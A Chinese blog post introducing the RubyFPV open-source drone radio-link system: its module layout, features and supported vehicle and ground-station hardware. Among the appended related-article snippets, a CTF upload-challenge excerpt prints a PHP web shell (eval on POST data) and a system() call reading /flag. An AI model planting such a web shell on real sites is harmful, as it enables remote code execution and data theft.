当前位置: 首页 > news >正文

RubyFPV开源代码之系统简介

RubyFPV开源代码之系统简介

  • 1. 源由
  • 2. 工程架构
  • 3. 特性介绍(软件)
    • 3.1 特性亮点
    • 3.2 数字优势
    • 3.3 使用功能
  • 4. DEMO推荐(硬件)
    • 4.1 天空端
    • 4.2 地面端
    • 4.3 按键硬件
      • Raspberry Pi
      • Radxa 3W/E/C
  • 5. 软件设计
  • 6. 参考资料

1. 源由

RubyFPV以前是闭源的,不过Jan 26, 2023 PetruSoroaga上传了代码。详见:Github - RubyFPV

目前状态是代码已经非常好的与OpenIPC项目兼容,在地面端和天空端使用。Ruby 是一个完整的平台(硬件和软件),专为控制和管理无人机、飞行器、汽车以及其他遥控车辆而设计,同时提供多个点之间可靠的端到端数字无线电链路。

为了这个,就有必要学习和简单了解下。

rubyFPV 首页宣传视频

2. 工程架构

all├──> vehicle //天空端│   ├──> ruby_start: .o│   ├──> ruby_utils │   │   ├──> ruby_logger: .o│   │   ├──> ruby_initdhcp: .o│   │   ├──> ruby_sik_config: .o│   │   ├──> ruby_alive: .o│   │   ├──> ruby_video_proc: .o│   │   ├──> ruby_update: .o│   │   └──> ruby_update_worker: .o│   ├──> ruby_tx_telemetry: .o│   └──> ruby_rt_vehicle: .o├──> station //地面端│   ├──> (*)ruby_start│   ├──> (*)ruby_utils │   ├──> ruby_controller: .o│   ├──> ruby_rt_station: .o│   ├──> ruby_tx_rc: .o│   ├──> ruby_rx_telemetry: .o│   └──> ruby_player_radxa: .o├──> ruby_i2c: .o├──> ruby_plugins │   ├──> ruby_plugin_osd_ahi: .o│   ├──> ruby_plugin_gauge_speed: .o│   ├──> ruby_plugin_gauge_altitude: .o│   ├──> ruby_plugin_gauge_ahi: .o│   └──> ruby_plugin_gauge_heading: .o├──> ruby_central: .o└──> tests├──> test_drm: .o├──> test_gpio: .o├──> test_log: .o├──> test_port_rx: .o├──> test_port_tx: .o└──> test_link: .o

3. 特性介绍(软件)

3.1 特性亮点

  • 支持433/868/915MHz和2.4/5.8GHz频段的多重冗余无线电链路
    不同频段(433MHz、868/915MHz、2.3GHz、2.4GHz、2.5GHz和5.8GHz)的多重冗余无线电链路可在车辆、地面控制站和中继之间同时使用,以提高连接的可靠性、链路质量和通信范围。

  • 自适应视频、自适应无线电链路、重传机制
    Ruby会在无线电条件恶化时自动调整视频码率、视频编码质量、无线电数据速率和无线电调制方式,以保持视频流的稳定性。此外,Ruby还会在无线电条件过度恶化时自动执行重传和错误校正。

  • 中继功能
    系统中可以添加移动(车辆)或固定中继节点,以实现更远距离的通信并突破视线范围限制。
    了解更多关于Ruby中继功能的工作原理及配置方法:中继无线电链路:工作原理及配置方法。

  • 加密功能
    无线电链路可实现端到端加密,确保只有授权组件能够解码无线电数据。

  • 实时视频、遥测、远程控制、辅助与自定义数据流
    Ruby默认支持无人机所需的所有数据能力,包括实时视频流(最高可达4K分辨率)、遥测、控制以及用户自定义数据流。

  • 丰富的用户界面和控制界面
    提供多种可配置的OSD屏幕、仪表、小部件以及第三方开发的用户界面插件,可供切换和操作。

3.2 数字优势

  • 无噪声的视频传输:提供清晰的视频画面。
  • 支持数据传输:可以同时发送遥测数据和其他自定义数据。
  • 错误校正与数据可靠性:提升通信的稳定性和准确性。
  • 可配置参数更多:不仅支持频率和频段的设置,还支持分辨率、帧率、抗干扰能力等视频链路相关参数的配置。
  • 支持特殊场景:例如3D视频、摄像头切换等功能几乎无需额外配置即可实现。

3.3 使用功能

  • 双向无线电链路:可根据无线电条件调整视频质量,从而提高视频流的质量;
  • 视频录制功能
  • 远距离无线电链路:无线电链路的范围(根据配置)在2公里至40公里之间(这是目前测试的最大范围);
  • 低端到端视频延迟:在当前硬件上延迟最低可达40毫秒。遥测和远程控制的延迟更低,少于10毫秒;
  • 多机绑定:支持绑定多个模型(类似普通的遥控器),并能实时切换;
  • 车辆实时控制与遥测数据
  • 观众模式:允许其他人作为观众观看实时视频流;
  • 通过无线电链路更新车辆软件
  • 多种OSD布局
  • 详细的链路质量和视频解码统计信息
  • 多摄像头配置:支持实时切换不同摄像头配置以适应不同飞行条件;
  • 双向遥测和自定义数据流:遥测支持MAVLink和LTM协议,其他协议仍在开发中;
  • 丰富的设置和参数:所有设置和参数均可通过OSD和菜单实时更改。

4. DEMO推荐(硬件)

在这里插入图片描述

  • OpenIPC

SSC338Q/SSC30KQ
IMX335, IMX415

  • Raspberry

Zero 2/Pi3/Pi4
Raspberry Pi v1,v2, HQ cameras

  • Radxa 3W/E/C

RK3566

  • Radio

433 Mhz band SiK, ELRS radio modules
868/915 Mhz band SiK, ELRS radio modules
2.3/2.5 Ghz band Atheros chipsets AR9271 cards
2.4 Ghz band Atheros chipsets AR9271 cards
5.8 Ghz band Realtek chipsets RTL8812AU, RTL8811AU, RTL8812EU cards

4.1 天空端

搭配:SBC + Camera + BEC/UBEC + RF Card(s)

  • 1 SBC (Single Board Computer, ie Raspberry, OpenIPC hardware camera, see below);
  • 1 camera (see below the full list of supported camera types);
  • 1 BEC/UBEC or any good 5V power supply (for providing a solid, high current capable, 5V supply to the PI board and network cards);
  • 1+ radio card(s) in 433/868/915Mhz, 2.4Ghz or 5.8Ghz bands(multiple can be used for Rx diversity or multiple radio links); see the list below of all supported radio cards.

在这里插入图片描述

4.2 地面端

搭配:SBC + BEC/UBEC + RF Card(s) + HDMI Display + 4 Button

  • 1 SBC (Single Board Computer, ie Raspberry, Radxa; see below);
  • 1 BEC/UBEC or any good 5V power supply;
  • 1+ radio card(s) in 433/868/915Mhz, 2.4Ghz or 5.8Ghz bands(multiple can be used for Rx diversity or multiple radio links); see the list below of all supported radio cards.
  • 1 HDMI display; Or any device that can display HDMI;
  • 4 (+3 additional optional) Push buttons. This is for the menu navigation on the controller. If you choose to use a rotary encoder for menu navigation, or a USB keyboard, then you don’t need these push buttons.

在这里插入图片描述

4.3 按键硬件

类似这种5向按键就非常适用,性价比超高!

在这里插入图片描述

Raspberry Pi

在这里插入图片描述在这里插入图片描述

Radxa 3W/E/C

在这里插入图片描述

5. 软件设计

TBD. 后续逐步给出,暂时还没有去看RubyFPV的代码。从逻辑的角度,先整体设计上看一个大概先。

6. 参考资料

  • https://rubyfpv.com/
  • Github - RubyFPV

相关文章:

RubyFPV开源代码之系统简介

RubyFPV开源代码之系统简介 1. 源由2. 工程架构3. 特性介绍(软件)3.1 特性亮点3.2 数字优势3.3 使用功能 4. DEMO推荐(硬件)4.1 天空端4.2 地面端4.3 按键硬件Raspberry PiRadxa 3W/E/C 5. 软件设计6. 参考资料 1. 源由 RubyFPV以…...

麦田物语学习笔记:创建TransitionManager控制人物场景切换

基本流程 制作场景之间的切换 1.代码思路 (1)为了实现不同场景切换,并且保持当前的persistentScene一直存在,则需要一个Manager去控制场景的加载和卸载,并且在加载每一个场景之后,都要将当前的场景Set Active Scene,保证其为激活的场景,在卸载的时候也可以方便调用当前激活的场…...

后端SpringBoot学习项目-用户管理-增删改查-service层

仓库地址 在初版代码中,已经实现了基础的增删改查。 但是,逻辑处理都放在Controller层中并没有分为Service层,所以,代码升级时候必须补充上去。 代码结构 升级后的代码结构有所变化。 --common 公共插件 --controller…...

机器学习11-学习路径推荐

机器学习11-学习路径推荐 本文希望摒除AI学习商业宣传要素,推荐一条极简的AI学习路线!推荐内容均为在线免费内容,如果有条件可以咨询专业的培训机构! 文章目录 机器学习11-学习路径推荐[toc] 1-AI培训路线第一阶段 Python-人工智能…...

[ACTF2020 新生赛]Upload1

题目 以为是前端验证&#xff0c;试了一下PHP传不上去 可以创建一个1.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中 <script languagephp>eval($_POST[md]);</script><script languagephp>system(cat /flag);&l…...

【PyTorch】0.初识:从吃货角度理解张量

0.初识张量 PyTorch 是一个 Python 深度学习框架&#xff0c;它将数据封装成张量&#xff08;Tensor&#xff09;来进行运算。PyTorch 中的张量就是元素为同一种数据类型的多维矩阵。在 PyTorch 中&#xff0c;张量以 "类" 的形式封装起来&#xff0c;对张量的一些运…...

医学图像分析工具09.1:Brainstorm安装教程

1. 安装前准备 **官方安装包和数据&#xff1a;**https://neuroimage.usc.edu/bst/download.php **官方安装教程&#xff1a;**https://neuroimage.usc.edu/brainstorm/Installation Matlab 版本要求&#xff1a; 有 Matlab&#xff1a; R2009b (7.9) 或更高版本没有 Matlab&…...

springboot基于Spring Boot的智慧养老服务系统的设计与实现

系统介绍&#xff1a; 智慧养老服务系统是一种运用现代科技手段&#xff0c;整合各类养老资源&#xff0c;为老年人提供全方位、个性化服务的综合性平台。该系统通过智能化设备、大数据分析、云计算等技术&#xff0c;实现对老年人健康状况、生活需求的实时监控与精准匹配&…...

Linux内核中IPoIB驱动模块的初始化与实现

InfiniBand(IB)是一种高性能的网络互连技术,广泛应用于高性能计算(HPC)和数据中心。为了在InfiniBand网络上运行标准的IP协议栈,Linux内核提供了IP over InfiniBand(IPoIB)驱动模块。IPoIB允许在InfiniBand网络上传输IPv4和IPv6数据包,从而使得现有的IP应用程序能够无…...

WPS计算机二级•幻灯片的基础操作

听说这是目录哦 PPT的正确制作步骤&#x1f6e3;️认识PPT界面布局&#x1f3dc;️PPT基础操作 快捷键&#x1f3de;️制作PPT时 常用的快捷技巧&#x1f3d9;️快速替换PPT的 文本字体&#x1f303;快速替换PPT 指定文本内容&#x1f305;能量站&#x1f61a; PPT的正确制作步…...

.NET9增强OpenAPI规范,不再内置swagger

ASP.NETCore in .NET 9.0 OpenAPI官方文档ASP.NET Core API 应用中的 OpenAPI 支持概述 | Microsoft Learnhttps://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/openapi/overview?viewaspnetcore-9.0https://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/ope…...

基于微信小程序的民宿预订管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…...

网络(三) 协议

目录 1. IP协议; 2. 以太网协议; 3. DNS协议, ICMP协议, NAT技术. 1. IP协议: 1.1 介绍: 网际互连协议, 网络层是进行数据真正传输的一层, 进行数据从一个主机传输到另一个主机. 网络层可以将数据主机进行传送, 那么传输层保证数据可靠性, 一起就是TCP/IP协议. 路径选择: 确…...

【深度解析Java 20天速成】04_IDEA的安装与使用

【Why IDEA ?】 【注】JetBrains官方说明&#xff1a; 尽管我们采取了多种措施确保受访者的代表性&#xff0c;但结果可能会略微偏向 JetBrains 产品的用户&#xff0c;因为这些用户更有可能参加调查。 此外&#xff0c;2022年&#xff0c;某美国软件开发商在对近千名专业的Ja…...

gitlab处理空文件夹的提交或空文件夹提交失败

问题描述 厂家发给了我一个压缩包文件&#xff0c;压缩包解压之后本地编译没问题&#xff1b;推送到gitlab之后&#xff0c;再编译就报错了&#xff1b; 问题原因 经过分析之后发现&#xff0c;压缩包解压之后存在很多空文件夹&#xff1b;但是gitlab推送的时候&#xff0c;…...

计算机网络之链路层

本文章目录结构出自于《王道计算机考研 计算机网络_哔哩哔哩_bilibili》 02 数据链路层 在网上看到其他人做了详细的笔记&#xff0c;就不再多余写了&#xff0c;直接参考着学习吧。 1 详解数据链路层-数据链路层的功能【王道计算机网络笔记】_wx63088f6683f8f的技术博客_51C…...

Arduino大师练成手册 -- 读取红外接收数据

硬件连接 连接引脚&#xff1a; 将红外接收器的 VCC 引脚连接到 Arduino 的 5V 引脚。 将红外接收器的 GND 引脚连接到 Arduino 的 GND 引脚。 将红外接收器的 OUT 引脚连接到 Arduino 的数字引脚&#xff08;例如 D11&#xff09;。 安装必要的库 在 Arduino IDE 中&#…...

【Efficient AIGC】SiTo: Similarity-based Token Pruning (AAAI-2025)

文章目录 SiTo: Training-Free and Hardware-Friendly Acceleration for Diffusion Models via Similarity-based Token Pruning背景介绍方法结果消融 文章目录 SiTo: Training-Free and Hardware-Friendly Acceleration for Diffusion Models via Similarity-based Token Prun…...

数据标注开源框架 Label Studio

数据标注开源框架 Label Studio Label Studio 是一个开源的、灵活的数据标注平台&#xff0c;旨在帮助开发者和数据科学家轻松创建高质量的训练数据集。它支持多种类型的数据&#xff08;如文本、图像、音频、视频等&#xff09;以及复杂的标注任务&#xff08;如分类、命名实体…...

MyBatis最佳实践:MyBatis 框架的缓存

缓存的概念&#xff1a; 在内存中临时存储数据&#xff0c;速度快&#xff0c;可以减少数据库的访问次数经常需要查询&#xff0c;不经常修改的数据&#xff0c;不是特别重要的数据都适合存储到缓存中 缓存的级别&#xff1a; 一级缓存(默认开启)&#xff1a;SqlSession 级别 …...

突破付费墙封锁:智能内容解锁工具完全指南

突破付费墙封锁&#xff1a;智能内容解锁工具完全指南 【免费下载链接】bypass-paywalls-chrome-clean 项目地址: https://gitcode.com/GitHub_Trending/by/bypass-paywalls-chrome-clean 你是否曾为了一篇重要的付费文章而束手无策&#xff1f;在信息爆炸的时代&#…...

企业数字化转型基石:全面认识4A企业架构数据架构方案

数据架构是企业架构中连接业务、应用与技术的桥梁&#xff0c;通过数据资产目录厘清家底&#xff0c;数据标准统一语言&#xff0c;数据模型指导开发&#xff0c;数据分布拉通业务流&#xff0c;从而提升数据质量与运作效率&#xff0c;支撑业务决策与系统建设。 统一语言&…...

Android14 SurfaceFlinger启动流程与线程调度机制解析

1. SurfaceFlinger的启动入口与初始化流程 Android显示系统的核心服务SurfaceFlinger由init进程启动&#xff0c;这个设计保证了它在系统早期就能准备好图形合成能力。main函数作为入口点&#xff0c;首先做了一系列关键初始化&#xff1a; 设置Binder线程池的最大线程数为4&…...

破解微信小程序video组件的限制:3种禁止拖动进度条的实战方案对比

微信小程序视频播放控制深度解析&#xff1a;3种禁止拖动进度条的工程化方案 在知识付费和在线教育类小程序中&#xff0c;视频内容的完整播放率直接影响知识传递效果。但微信小程序原生video组件的enable-progress-gesture属性仅能禁用触摸手势&#xff0c;无法真正阻止进度条…...

ParrelSync跨平台终极指南:Windows、macOS和Linux完整配置教程

ParrelSync跨平台终极指南&#xff1a;Windows、macOS和Linux完整配置教程 【免费下载链接】ParrelSync (Unity3D) Test multiplayer without building 项目地址: https://gitcode.com/gh_mirrors/pa/ParrelSync ParrelSync是一款专为Unity3D开发者设计的高效工具&#…...

LSPosed-Irena深度解析:Android运行时Hook框架的终极指南

LSPosed-Irena深度解析&#xff1a;Android运行时Hook框架的终极指南 【免费下载链接】LSPosed-Irena Useless LSPosed Framework Fork 项目地址: https://gitcode.com/gh_mirrors/ls/LSPosed-Irena 你是否曾想过&#xff0c;在不修改APK源代码的情况下&#xff0c;深度…...

影刀经验库共建:5个岗位提效的RPA模板分享

影刀RPA岗位提效模板分享影刀RPA&#xff08;机器人流程自动化&#xff09;能够显著提升企业运营效率&#xff0c;尤其在重复性高、规则明确的任务中表现突出。以下是5个适用于不同岗位的RPA模板&#xff0c;帮助团队快速实现自动化提效。财务岗位&#xff1a;自动化发票处理通…...

3月技术风暴:程序员的范式革命——2026年3月科技大事件记录

2025年3月&#xff1a;颠覆性技术狂潮与程序员认知升维全纪录 3月结束&#xff0c;你感受到“版本迭代”的压力了吗&#xff1f; 2025年的春天不是春暖花开&#xff0c;而是技术奇点的“温度骤升”。本文绝非一份普通事件清单&#xff0c;而是用程序员的第一性原理&#xff0c;…...

从入门到精通:用OmenSuperHub打造专属惠普游戏本性能方案

从入门到精通&#xff1a;用OmenSuperHub打造专属惠普游戏本性能方案 【免费下载链接】OmenSuperHub 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub &#x1f50d; 问题发现&#xff1a;官方游戏控制中心的五大痛点 作为惠普OMEN游戏本用户&#xff0c;你…...

通义千问3-Reranker-0.6B实战应用:智能客服问答排序系统搭建

通义千问3-Reranker-0.6B实战应用&#xff1a;智能客服问答排序系统搭建 1. 智能客服问答排序系统概述 在智能客服系统中&#xff0c;如何从海量知识库中快速找到最匹配用户问题的答案&#xff0c;是提升用户体验的关键。传统基于关键词匹配的方法往往难以理解用户真实意图&a…...